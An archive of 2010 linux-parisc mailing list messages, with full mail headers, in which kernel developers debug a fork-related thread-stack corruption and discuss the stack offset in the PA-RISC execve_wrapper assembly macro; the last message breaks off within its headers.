        for <linux-parisc@vger.kernel.org>; Tue, 23 Mar 2010 14:32:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=bqmXnngV/M56cQFKemIUrSaMy2wDdVPZRwVVlRoFikA=;
        b=abj7IHsdEUlti6HY/y3YFNmB4lAYI/tOe/XnTbNF0Ejv0W5fLRhivkO6KU0AF5Nmk4
         jUzePyGpTzCYglMPt8WvTvQxsuLahRhvQpynTSbl+lZtBJfHIVApwQdIBPg4yV74JuSP
         J7/QR4QJ5QqT+hmoxyXp4l36V9NMrpI5wH3Jc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=eRVIbjFPslOXa094fSSOhFAJXn76sK95mLLSgrtmCmDIb33volydL6fIWwAThrTXea
         mQTfNPmSY7hJHi4nYsW78FtnsAPtaYC9mAorvNhNL3InxERfVrOXYMZyNt4/y/dFMm1J
         Pk0ilaoQjK4ciz4BfcLaGTDTM+X0/X25mKLgI=
Original-Received: by 10.216.85.17 with SMTP id t17mr2217688wee.178.1269379932243; Tue, 
	23 Mar 2010 14:32:12 -0700 (PDT)
In-Reply-To: <20100321181935.GA19525@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 4be303a9bc634b7d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2703>

On Sun, Mar 21, 2010 at 2:19 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> One thought that has crossed my mind is that the memory pages allocat=
ed
> for the stack region used by the thread are somehow getting interchan=
ged
> between parent and child by the fork operation. =A0This happens fairl=
y
> late as both the parent and thread are executing post fork at the tim=
e
> this happens. =A0Possibly, this is part of the bug.
>
> I have looked at entry.S and pacache.S quite a bit and it's not obvio=
us
> how this could happen, although I must admit to not fully understandi=
ng
> the tmp alias code. =A0I tend to think the bug is in the core mm code=
=2E
>
> I see a few cleanups to entry.S. =A0We didn't kill the misnamed macro=
s
> (DEP, DEPI and EXTR) for example. =A0But I don't think these are the =
problem.

I can't get minifail2 to fail, how are you choosing which stack
address to watch for corruption?

Are you looking at the child's new stack created by mmap?

Are you looking at the parent's stack?

I found one bug in the hppa vfork() function call, which in the case
of error, would fail to propagate the error correctly. Fixing that and
will check it in. It doesn't account for the vfork/execve problems
though, since in this case vfork completes but execve crashes.

I also have some patches for asm-offsets.c, and entry.S to comment
some of the code better. I'll send those to Kyle after cleanup.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Incorrect execve_wrapper macro?
Date: Tue, 23 Mar 2010 18:03:29 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab441003231503v345dfacar374e2c06b88769ac@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1269381822 30841 80.91.229.12 (23 Mar 2010 22:03:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 22:03:42 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 23 23:03:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NuCCC-0007O8-WB
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Mar 2010 23:03:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753444Ab0CWWDc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Mar 2010 18:03:32 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.26]:5988 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753494Ab0CWWDc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Mar 2010 18:03:32 -0400
Original-Received: by ey-out-2122.google.com with SMTP id d26so703918eyd.19
        for <linux-parisc@vger.kernel.org>; Tue, 23 Mar 2010 15:03:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=1Hl9nJUzVLcvNKxmp0ci3LNfEyN8+X+5UvqM7bTblL8=;
        b=c74IEuVYmHwsmlUOXikAligHKuvUK4Sg7Qal0fPoKrnjLM+6Wj2QA+vgCLAc2y7kM3
         59q1gYce/MS/DCtn2OFuYpIpr4A/3pUx8NfmaMORCTzNifKNzL7Yjh9fsxZbM79d8G4+
         EF6fhetFPhX7QgRtNDsKtYbUv6BWxpav4LNyU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=DLXmXDahfxlO4N0RpjAl0HvAgn/7k+E15SWQaWDvo3iTd3Qqeatq6MVs209sF4YKIW
         LSC3wFytaTXkL/btcQXKLE1s+ZxlGlkytSu8jsBggI4djLwCwm4hkn31Mqx9R2CvXOIN
         253tJmsu3smDIZavYOWszOogExnGziFV0wfyM=
Original-Received: by 10.216.88.79 with SMTP id z57mr1348714wee.22.1269381809473; Tue, 
	23 Mar 2010 15:03:29 -0700 (PDT)
X-Google-Sender-Auth: 0b263f0ab5fd06ac
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2704>

Kyle,

The execve_wrapper macro loads thread->task like this:
LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1

This assumes that at the point the macro is called that there is only
THREAD_SZ_ALGN+FRAME_SIZE between %r30 and the starting value of %r30
(cr30).

However, in the syscall entry path I see (syscall.S):
ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
...
STREGM  %r1,FRAME_SIZE(%r30)            /* save r1 (usp) here for now */

Which means that between %r30 and the start there is actually
THREAD_SZ_ALGN+2*FRAME_SIZE.

I believe that these should match, so that when we return we can
restore some of the things we saved.
e.g. execve_wrapper should read:
LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30),%r1

or heaven forbid the easier to read:

mfctl   %cr30,%r1                       /* get task ptr in %r1 */
LDREG   TI_TASK(%r1),%r1

Comments?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 23 Mar 2010 18:23:06 -0400 (EDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <20100323222307.17CB4513F@hiauly1.hia.nrc.ca>
References: <119aab441003231432nefa1848u86a9313fc1e45a5f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269382996 2401 80.91.229.12 (23 Mar 2010 22:23:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 22:23:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 23 23:23:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NuCVD-0000hh-1a
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Mar 2010 23:23:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752902Ab0CWWXJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Mar 2010 18:23:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2012 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752337Ab0CWWXJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Mar 2010 18:23:09 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 17CB4513F; Tue, 23 Mar 2010 18:23:06 -0400 (EDT)
In-Reply-To: <119aab441003231432nefa1848u86a9313fc1e45a5f@mail.gmail.com> from "Carlos O'Donell" at Mar 23, 2010 05:32:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2705>

> I can't get minifail2 to fail, how are you choosing which stack
> address to watch for corruption?

The stack allocated by pthread_create is always placed at 0x40000000
in my runs.  The location that the last version which I sent monitors
is 0x4000001c.  This is the location where thread_run saves %r26
shortly after entry.

I'm compiling without optimization as indicated in the comment.  Usually,
I also link with -static since gdb is somewhat broken when debugging
shared libraries.  If the compile is optimized, then thread_run may
not save much on the stack and it may be harder to get it to fail.

The problem is timing dependent.  I'm a bit surprised that you can't
duplicate the problem as Helge could.  When I run the test loop, it
fails about one in thirty on my c3750.  I have a 250 Hz tick rate in
my config.  The fail rate is somewhat dependent on system load.

I added the monitor loops to try and pin down when the corruption occurs
but the test should fail if the thread's stack region gets corrupted
while thread_run executes.

Have you made any changes to libc which would affect the synchonization
of parent and child?  I think the problem might be fixed if the parent
and thread were prevented from executing until the fork is complete.
I still think the kernel is interchanging the pages used by the parent
and child for the mmap'd stack region.

> Are you looking at the child's new stack created by mmap?

We are looking at the area allocated by mmap in the call to pthread_create.
This is always where the corruption occurs in the subsequent fork call.

This area is used as the stack for the thread created by pthread_create.
When the problem occurs, it's the thread that generates the fault, never
the original parent.

> Are you looking at the parent's stack?

No.  However, the parent can see changes to the stack area used by the
thread created by the pthread_create call.  As I understand the situtation,
the child of the fork call should see a snapshot of this area as it was
at the time of the fork call.  fork is nominally supposed to be "atomic"
(see Open Group man page).

In both the parent and forked child, the first three words starting at
0x40000000 are always nonzero and correct.  That's why I think the pages
are getting interchanged (I also played with adding extra cache flushes
in pacache.S but that didn't change things).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incorrect execve_wrapper macro?
Date: Tue, 23 Mar 2010 20:45:03 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20100324004504.6020F4EF4@hiauly1.hia.nrc.ca>
References: <119aab441003231503v345dfacar374e2c06b88769ac@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269391515 29497 80.91.229.12 (24 Mar 2010 00:45:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Mar 2010 00:45:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 24 01:45:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NuEib-0008Rx-BZ
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Mar 2010 01:45:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753656Ab0CXApI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Mar 2010 20:45:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2020 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753607Ab0CXApH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Mar 2010 20:45:07 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6020F4EF4; Tue, 23 Mar 2010 20:45:03 -0400 (EDT)
In-Reply-To: <119aab441003231503v345dfacar374e2c06b88769ac@mail.gmail.com> from "Carlos O'Donell" at Mar 23, 2010 06:03:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2706
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2706>

> The execve_wrapper macro loads thread->task like this:
> LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
> 
> This assumes that at the point the macro is called that there is only
> THREAD_SZ_ALGN+FRAME_SIZE between %r30 and the starting value of %r30
> (cr30).
> 
> However, in the syscall entry path I see (syscall.S):
> ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
> ...
> STREGM  %r1,FRAME_SIZE(%r30)            /* save r1 (usp) here for now */
> 
> Which means that between %r30 and the start there is actually
> THREAD_SZ_ALGN+2*FRAME_SIZE.

This is wrong as there is a compensating LDREGM:

        LDREGM  -FRAME_SIZE(%r30), %r2          /* get users sp back */

> or heaven forbid the easier to read:
> 
> mfctl   %cr30,%r1                       /* get task ptr in %r1 */
> LDREG   TI_TASK(%r1),%r1

The above looks safer...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <michael@ellerman.id.au>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed
 from TAINT_WARN
Date: Wed, 24 Mar 2010 22:11:15 +1100
Lines: 38
Approved: news@gmane.org
Message-ID: <1269429075.2500.5.camel@concordia>
References: <1269126097.18314.111.camel@localhost>
	 <1269126340.18314.115.camel@localhost>
Reply-To: michael@ellerman.id.au
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-SQzw8iyBB5lB+1zvqHUK"
X-Trace: dough.gmane.org 1269429105 654 80.91.229.12 (24 Mar 2010 11:11:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Mar 2010 11:11:45 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	linux-s390@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, linux-pci@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>, linuxppc-dev@ozlabs.org,
	David Woodhouse <dwmw2@infradead.org>
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Mar 24 12:11:40 2010
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1NuOUt-0004i3-KB
	for glps-linuxsh-dev@lo.gmane.org; Wed, 24 Mar 2010 12:11:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755610Ab0CXLLb (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 24 Mar 2010 07:11:31 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:58087 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755540Ab0CXLLT (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Wed, 24 Mar 2010 07:11:19 -0400
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 316D4B7D01;
	Wed, 24 Mar 2010 22:11:16 +1100 (EST)
In-Reply-To: <1269126340.18314.115.camel@localhost>
X-Mailer: Evolution 2.28.1 
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:7721 gmane.linux.ports.parisc:2707 gmane.linux.kernel.pci:8201 gmane.linux.kernel:965611 gmane.linux.ports.ppc64.devel:65515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2707>


--=-SQzw8iyBB5lB+1zvqHUK
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sat, 2010-03-20 at 23:05 +0000, Ben Hutchings wrote:
> WARN() is used in some places to report firmware or hardware bugs that
> are then worked-around.  These bugs do not affect the stability of the
> kernel and should not set the usual TAINT_WARN flag.  To allow for
> this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> flag as argument.
..
> The architecture-specific changes here are untested and need to be
> reviewed by architecture maintainers.

I'm not one of them, but this at least builds on powerpc FWIW.

cheers

--=-SQzw8iyBB5lB+1zvqHUK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEABECAAYFAkup80wACgkQdSjSd0sB4dIztACgqdsQgORNZPCSzn7hLuXW0Lxs
CgMAn3Q8KMC7wAK7ce/Z3AZ9SQ+1QrUy
=p3xA
-----END PGP SIGNATURE-----

--=-SQzw8iyBB5lB+1zvqHUK--

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incorrect execve_wrapper macro?
Date: Wed, 24 Mar 2010 08:49:21 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <119aab441003240549n7adc8fa5q32762d9b71987bad@mail.gmail.com>
References: <119aab441003231503v345dfacar374e2c06b88769ac@mail.gmail.com>
	 <20100324004504.6020F4EF4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269434970 22032 80.91.229.12 (24 Mar 2010 12:49:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Mar 2010 12:49:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 24 13:49:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NuQ1V-0006FU-3W
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Mar 2010 13:49:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755866Ab0CXMtY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Mar 2010 08:49:24 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:45843 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755852Ab0CXMtX convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Mar 2010 08:49:23 -0400
Original-Received: by wwe15 with SMTP id 15so5019641wwe.19
        for <linux-parisc@vger.kernel.org>; Wed, 24 Mar 2010 05:49:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=r0Jb6V28lrn3aILNMUW4I33j5ZsU6XPBKm6vGGsJVN4=;
        b=V8pp7sW/rBHoFJGX6VqWdXt1mkmdCRTqToZK55j5NxTVa2CRyfbzjzbuSp6KfxztDe
         zSmFy7uteIe178zusRu4phEkaEuz6Jl02xHw3R42MdrG/q/jVmcLl2atKyIhKddhz2DW
         J5FKMbB588rHpfZtUPM+5jfrvUG0fkI6BWiBM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=QWcBE/2J6H4p1uzBgqn5lopuimxFefYZkB9YctUQMQEGn8pFz6K7ayzhKabV1ItHrz
         8Yq53kuudEEAlMVLnpIObEqD3BvE/vYubLfcvIvdO3KTwY4mkgFhgkXebFBelTMZT+0t
         o7BgQuw5hhhqnpdp6quc1Mg3EJgt+Wp3fPypA=
Original-Received: by 10.216.85.80 with SMTP id t58mr343536wee.168.1269434961685; Wed, 
	24 Mar 2010 05:49:21 -0700 (PDT)
In-Reply-To: <20100324004504.6020F4EF4@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 6a9ea9b3f21423b5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2708>

On Tue, Mar 23, 2010 at 8:45 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> The execve_wrapper macro loads thread->task like this:
>> LDREG =A0 TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
>>
>> This assumes that at the point the macro is called that there is onl=
y
>> THREAD_SZ_ALGN+FRAME_SIZE between %r30 and the starting value of %r3=
0
>> (cr30).
>>
>> However, in the syscall entry path I see (syscall.S):
>> ldo =A0 =A0 THREAD_SZ_ALGN+FRAME_SIZE(%r30),%r30 =A0/* set up kernel=
 stack */
>> ...
>> STREGM =A0%r1,FRAME_SIZE(%r30) =A0 =A0 =A0 =A0 =A0 =A0/* save r1 (us=
p) here for now */
>>
>> Which means that between %r30 and the start there is actually
>> THREAD_SZ_ALGN+2*FRAME_SIZE.
>
> This is wrong as there is a compensating LDREGM:
>
> =A0 =A0 =A0 =A0LDREGM =A0-FRAME_SIZE(%r30), %r2 =A0 =A0 =A0 =A0 =A0/*=
 get users sp back */

Thanks, I missed the `M` and thought it was just loading from a negativ=
e offset.

>> or heaven forbid the easier to read:
>>
>> mfctl =A0 %cr30,%r1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* g=
et task ptr in %r1 */
>> LDREG =A0 TI_TASK(%r1),%r1
>
> The above looks safer...

It is, but a little bit slower, does it matter?

This change would make execve_wrapper independent of r30's value.

I think for now I'll just document the requirement.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Question about execve.
Date: Sat, 27 Mar 2010 23:26:19 -0400
Lines: 87
Approved: news@gmane.org
Message-ID: <119aab441003272026o55db5202sd345df270f3b0e1f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0015174780f2b9f65f0482d3f51f
X-Trace: dough.gmane.org 1269746793 1797 80.91.229.12 (28 Mar 2010 03:26:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 03:26:33 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 05:26:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nvj8q-0005nj-Cd
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 05:26:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751491Ab0C1D0V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Mar 2010 23:26:21 -0400
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:33719 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751399Ab0C1D0V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Mar 2010 23:26:21 -0400
Original-Received: by bwz1 with SMTP id 1so2747295bwz.21
        for <linux-parisc@vger.kernel.org>; Sat, 27 Mar 2010 20:26:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:received:message-id:subject:from:to
         :content-type;
        bh=v0aT8LHRY+FwUyWeUAkxeze5rTimPGfyRnPf1WaoC6k=;
        b=DoOcJZ2VDQThBz9KA3e8htvJDMlIQPIb4f+omSMseWLz9S3U9Z05ubL8bHuDX/1NYK
         jfrV5r1lIaFFzjPv8LGrkYuuMaTsiG9etpTI6xclEkzIVfJn5EOOFvWKVXejdkc527fw
         OSvPTP3JB6FinKNdqZoKtFLDPMCYQvQ8RssC8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
